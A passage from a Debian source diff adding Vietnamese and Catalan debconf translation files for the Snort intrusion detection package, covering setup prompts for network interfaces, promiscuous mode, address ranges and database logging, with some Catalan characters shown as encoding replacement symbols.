+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Trong tập tin cấu hình, tìm thấy những tùy chọn bị phản đối này:\n"
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Bạn đang tự chạy Snort"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Gặp lỗi trong cấu hình"
--- snort-2.7.0.orig/debian/po/ca.po
+++ snort-2.7.0/debian/po/ca.po
@@ -0,0 +1,1057 @@
+# snort (debconf) translation to Catalan.
+# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc.
+# Aleix Badia i Bosch <a.badia@callusdigital.org> 2005
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: snort_2.0.1-2_templates\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2005-02-26 10:41+0100\n"
+"Last-Translator: Aleix Badia i Bosch <a.badia@callusdigital.org>\n"
+"Language-Team: Debian L10n Catalan <debian-l10n-catalan@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=ISO-8859-1\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+#, fuzzy
+#| msgid ""
+#| "Snort can be started during boot, when connecting to the net with pppd or "
+#| "only when you manually start it via /usr/sbin/snort."
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"El Snort es pot iniciar a l'arrencada del sistema, quan el sistema es "
+"connecti a la xarxa a trav�s de pppd o iniciar-lo manualment via /usr/sbin/"
+"snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid "On which interface Snort should listen? (only one!)"
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Quina interf�cie hauria d'escoltar el Snort? (nom�s una!)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Please enter the interface name which snort should listen on. The name of "
+#| "the available interfaces are provided by running 'ip link show'. This "
+#| "value usually is 'eth0', but you might want to vary this depending on "
+#| "your environment, if you are using a dialup connection 'ppp0' might be "
+#| "more appropiate."
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Introdu�u el nom de la interf�cie que haur� d'escoltar el snort. El nom de "
+"les interf�cies disponibles el podeu aconseguir executant l'ordre 'ip link "
+"show'. El valor acostuma a ser 'eth0', per� us pot interessar modificar-lo "
+"en funci� de l'entorn, si utilitzeu el marcatge directe probablement us "
+"interessi m�s el valor 'ppp0'."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Notice that Snort is usually configured to inspect all traffic coming "
+#| "from the Internet, so the interface you add here is usually the same the "
+#| "'default route' is on.  You can determine which interface is used for "
+#| "this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for "
+#| "'default' or '0.0.0.0')."
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Recordeu que el Snort acostuma a estar configurat per analitzar tot el "
+"tr�fic d'internet, la interf�cie a afegir acostuma a ser la mateixa que la "
+"de la 'ruta per defecte'. Podeu obtenir la interf�cie executant l'ordre '/"
+"sbin/ip ro sh' o '/sbin/route -n' (cerqueu 'default' o '0.0.0.0'). "
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "It is also not uncommon to run Snort on an interface with no IP and "
+#| "configured in promiscuous mode, if this is your case, select the "
+#| "interface in this system that is physically connected to the network you "
+#| "want to inspect, enable promiscuous mode later on and make sure that the "
+#| "network traffic is sent to this interface (either connected to a 'port "
+#| "mirroring/spanning' port in a switch, to a hub or to a tap)"
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Tamb� es pot donar la situaci� d'executar el Snort en una interf�cie sense "
+"IP i configurada en mode promiscu, si �s el vostre cas, seleccioneu la "
+"interf�cie que est� f�sicament connectada a la xarxa que voleu analitzar, "
+"posteriorment habiliteu el mode promiscu i assegureu-vos que el tr�fic de la "
+"xarxa s'envia a la interf�cie (connectada a un port 'port mirroring/"
+"spanning' d'un commutador, a un concentrador o a un tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "You can configure multiple interfaces here, just by adding more than one "
+#| "interface name separated by spaces. Each interface can have its specific "
+#| "configuration."
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Podeu configurar m�ltiples interf�cie afegint m�s d'un nom d'interf�cie "
+"separat per espais. Cada interf�cie pot tenir una configuraci� espec�fica."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid "Please enter the address range that Snort will listen on."
+msgid "Address range for the local network:"
+msgstr "Introdu�u el rang d'adreces que escoltar� el Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#| "192.168.1.42/32 for just one. Specify multiple addresses on a single line "
+#| "separated by ',' (comma characters), no spaces allowed!"
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Heu d'utilitzar el format CIDR, ex. 192.168.1.0/24 per un bloc de 256 IPs o "
+"192.268.1.42/32 per una.  Especifiqueu m�ltiples adreces separades per "
+"',' (car�cters de coma) en una sola l�nia, no utilitzeu espais."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "Notice that if you are using multiple interfaces this definition will be "
+#| "used as the HOME_NET definition of all of them."
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Recordeu que si utilitzeu m�ltiples interf�cies aquesta definici� "
+"s'utilitzar� com a definici� HOME_NET de totes."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "S'hauria d'inhabilitar el mode promiscu de la interf�cie?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+#, fuzzy
+#| msgid ""
+#| "Disabling promiscuous mode means that Snort will only see packets "
+#| "addressed to it's own interface. Enabling it allows Snort to check  every "
+#| "packet that passes ethernet segment even if it's a connection between two "
+#| "other computers."
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Si s'inhabilita el mode promiscu, el Snort �nicament veur� els paquets "
+"adre�ats a la seva pr�pia interf�cie. Si s'habilita, el Snort pot comprovar "
+"cada paquet que passa pel segment ethernet, encara que sigui entre d'altres "
+"ordinador."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+#, fuzzy
+#| msgid "Should Snort's rules testing order be changed to Pass|Alert|Log?"
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"S'hauria de canviar l'ordre de comprovaci� de les regles del Snort per Pass|"
+"Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+#, fuzzy
+#| msgid "Who should receive the daily statistics mails?"
+msgid "Recipient of daily statistics mails:"
+msgstr "Qui hauria de rebre els missatges estad�stics diaris?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid ""
+#| "An alert needs to appear more times than this number to be included in "
+#| "the daily statistics."
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Una alerta s'inclour� a les estad�stiques di�ries quan aparegui un nombre de "
+"vegades superior a l'indicat."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Obsolete configuration file"
+msgstr "El sistema utilitza un fitxer de configuraci� obsolet"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"El sistema t� un fitxer de configuraci� obsolet (/etc/snort/snort.common."
+"parameters) que s'ha convertit autom�ticament al nou format de fitxer de "
+"configuraci� (a /etc/default/snort). Comproveu el nou fitxer de configuraci� "
+"i suprimiu l'obsolet. Fins que no ho feu, la seq��ncia de l'init.d no "
+"utilitzar� la nova configuraci� i no podreu utilitzar les caracter�stiques "
+"afegides en les noves versions."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"El sistema t� un fitxer de configuraci� obsolet (/etc/snort/snort.common."
+"parameters) que s'ha convertit autom�ticament al nou format de fitxer de "
+"configuraci� (a /etc/default/snort). Comproveu el nou fitxer de configuraci� "
+"i suprimiu l'obsolet. Fins que no ho feu, la seq��ncia de l'init.d no "
+"utilitzar� la nova configuraci� i no podreu utilitzar les caracter�stiques "
+"afegides en les noves versions."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-mysql to log to?"
+msgid "Set up a database for snort-mysql to log to?"
+msgstr ""
+"Voleu configurar una base de dades on el snort-mysql hi registri dades?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+#, fuzzy
+#| msgid ""
+#| "Make sure it has been set up correctly to allow incoming connections from "
+#| "this host!"
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Abans de permetre les connexions a aquest ordinador, assegureu-vos que "
+"estigui configurat correctament."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+#, fuzzy
+#| msgid ""
+#| "Make sure this database has been created and your database user has write "
+#| "access to this database."
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Assegureu-vos que la base de dades existeixi i que el vostre usuari hi "
+"tingui perm�s d'escriptura."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter the password for the database connection"
+msgid "Password for the database connection:"
+msgstr "Introdu�u la contrasenya per la connexi� amb la base de dades."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+#, fuzzy
+#| msgid "Please enter a password to connect to the Snort Alert database."
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Introdu�u la contrasenya per connectar-vos a la base de dades d'alertes del "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Creeu l'estructura de la base de dades utilitzant la seg�ent ordre:\n"
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <usuari> -h <ordinador central> -p <nom "
+"base de dades>\n"
+"Ompliu correctament les dades de l'usuari, ordinador central i nom de la "
+"base de dades. El MySQL us demanar� la contrasenya."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+#, fuzzy
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Un cop creada l'estructura de la base de dades, premeu 'd'acord' per "
+"continuar."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-pgsql to log to?"
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr ""
+"Voleu configurar una base de dades on el snort-pgsql hi registri dades?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Deprecated configuration file"
+msgstr "El sistema utilitza un fitxer de configuraci� obsolet"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "Your Snort configuration file (/etc/snort/snort.conf) uses deprecated "
+#| "options no longer available for this Snort release.  Snort will not be "
+#| "able to start unless you provide a correct configuration file. You can "
+#| "substitute your configuration file with the one provided in this package "
+#| "or fix it manually by removing deprecated options."
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"El fitxer de configuraci� actual (/etc/snort/snort.conf) utilitza opcions "
+"obsoletes que ja no estaran disponibles per a aquesta versi� del Snort. No "
+"el podreu iniciar si no utilitzeu un fitxer de configuraci� correcte. Podeu "
+"substituir el fitxer de configuraci� pel proporcionat pel paquet o arreglar-"
+"lo manualment suprimint les opcions obsoletes."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+#, fuzzy
+#| msgid ""
+#| "The following deprecated options were found in your configuration file: "
+#| "${DEP_CONFIG}"
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"S'han trobat les opcions obsoletes seg�ents:\n"
+"${DEP_CONFIG}"
+
+#, fuzzy
+#~| msgid "You are running Snort manually."
+#~ msgid "You are running Snort manually"
+#~ msgstr "Esteu executant el Snort manualment."
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Hi ha una error en la configuraci�"
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "El fitxer de configuraci� �s obsolet"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "arrencada, marcatge directe, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Quan s'hauria d'iniciar el Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Per no establir una relaci� de confian�a amb cap part de la xarxa, podeu "
+#~ "especificar 'any'."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Si canvieu l'ordre de comprovaci� de les regles del Snort per Pass|Alert|"
+#~ "Log, s'aplicaran en l'ordre Pass->Alert->Log, en comptes de l'est�ndard "
+#~ "Alert->Pass->Log. Aquesta opci� permetr� que els usuaris no hagin "
+#~ "d'utilitzar una gran quantitat d'arguments de la l�nia d'ordres del Berky "
+#~ "Packet Filter per filtrar les regles d'alerta."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Una tasca programada di�riament resumir� la informaci� dels registres del "
+#~ "Snort utilitzant una seq��ncia anomenada 'snort-stat'. Introdu�u el "
+#~ "destinatari dels correus electr�nics. El valor predeterminat �s "
+#~ "l'administrador del sistema. Si manteniu el valor assegureu-vos que el "
+#~ "correu electr�nic de l'administrador es redireccioni a una usuari que "
+#~ "llegeixi els missatges."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr "Si voleu definir opcions personalitzades del Snort, feu-ho aqu�."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Per fer efectius els canvis reinicieu el Snort utilitzant:\n"
+#~ " /etc/init.d/snort start"
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "La configuraci� del Snort no �s correcte i no es podr� iniciar "
+#~ "correctament. Reviseu la configuraci� i arregleu-ne els errors. Si no ho "
+#~ "feu probablement no es podran realitzar correctament les actualitzacions "
+#~ "del paquet Snort. Per comprovar l'error executeu l'ordre '/usr/sbin/snort "
+#~ "-T -c /etc/snort/snort.conf' (si utilitzeu diferents fitxers per a "
+#~ "diferents interf�cies feu refer�ncia a un altre fitxer de configuraci�)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Aquestes tasques nom�s les heu de realitzar la primera vegada que "
+#~ "instal�leu el snort-mysql. Abans de continuar assegureu-vos de tenir(1) "
+#~ "el nom d'un servidor central on s'estigui executant un servidor de mysql "
+#~ "que permeti connexions tcp d'aquest ordinador. (2) una base de dades, (3) "
+#~ "un nom d'usuari i una contrasenya per accedir-hi. Si no teniu tots els "
+#~ "elements de la llista, solucioneu-ho o seleccioneu l'opci� 'no' i "
+#~ "utilitzeu el suport tradicional de registre per fitxer. Posteriorment, "
+#~ "sempre podreu configurar el mode de registre reconfigurant el paquet "
+#~ "snort-mysql utilitzant 'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Assegureu-vos que l'usuari estigui creat i tingui perm�s d'escriptura."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "El Snort necessita una base de dades configurada per registrar-hi les "
+#~ "dades."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Aquestes tasques nom�s les heu de dur a terme la primera vegada que "
+#~ "instal�leu el snort-pgsql. Abans de continuar assegureu-vos de tenir(1) "
+#~ "el nom d'un servidor central on s'estigui executant el servidor de pgsql "
+#~ "i que permeti connexions tcp d'aquest ordinador. (2) una base de dades en "
+#~ "aquest servidor. (3) un nom d'usuari i una contrasenya per accedir a la "
+#~ "base de dades. Si no teniu tots els elements de la llista, solucioneu-ho "
+#~ "o seleccioneu l'opci� 'no' i utilitzeu el suport tradicional de registre "
+#~ "per fitxer. Posteriorment, sempre podreu configurar el mode de registre "
+#~ "reconfigurant el paquet snort-pgsql a trav�s de l'ordre 'dpkg-reconfigure "
+#~ "-plow snort-pgsql'"
+
+#, fuzzy
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Creeu l'estructura de la base de dades utilitzant l'ordre seg�ent:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_pgsql.gz | pgsql -U <usuari> -h <ordinador central> -W <nom "
+#~ "base de dades>\n"
+#~ "Ompliu correctament les dades de l'usuari, ordinador central i nom de la "
+#~ "base de dades. El PostgreSQL us demanar� la contrasenya."
+
+#~ msgid "On which interface(s) should Snort listen?"
+#~ msgstr "Quina interf�cie(s) hauria d'escoltar el Snort?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Introdu�u el nom de la interf�cie(s) que hauria d'escoltar el snort. El "
+#~ "nom de les interf�cies disponibles el podeu aconseguir executant l'ordre "
+#~ "'ip link show'. El valor acostuma a ser 'eth0', per� us pot interessar "
+#~ "modificar-lo en funci� de l'entorn, si utilitzeu el marcatge directe "
+#~ "probablement us interessi m�s el valor 'ppp0'."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Introdu�u el rang d'adreces que escoltar� el Snort."
+
+#~ msgid ""
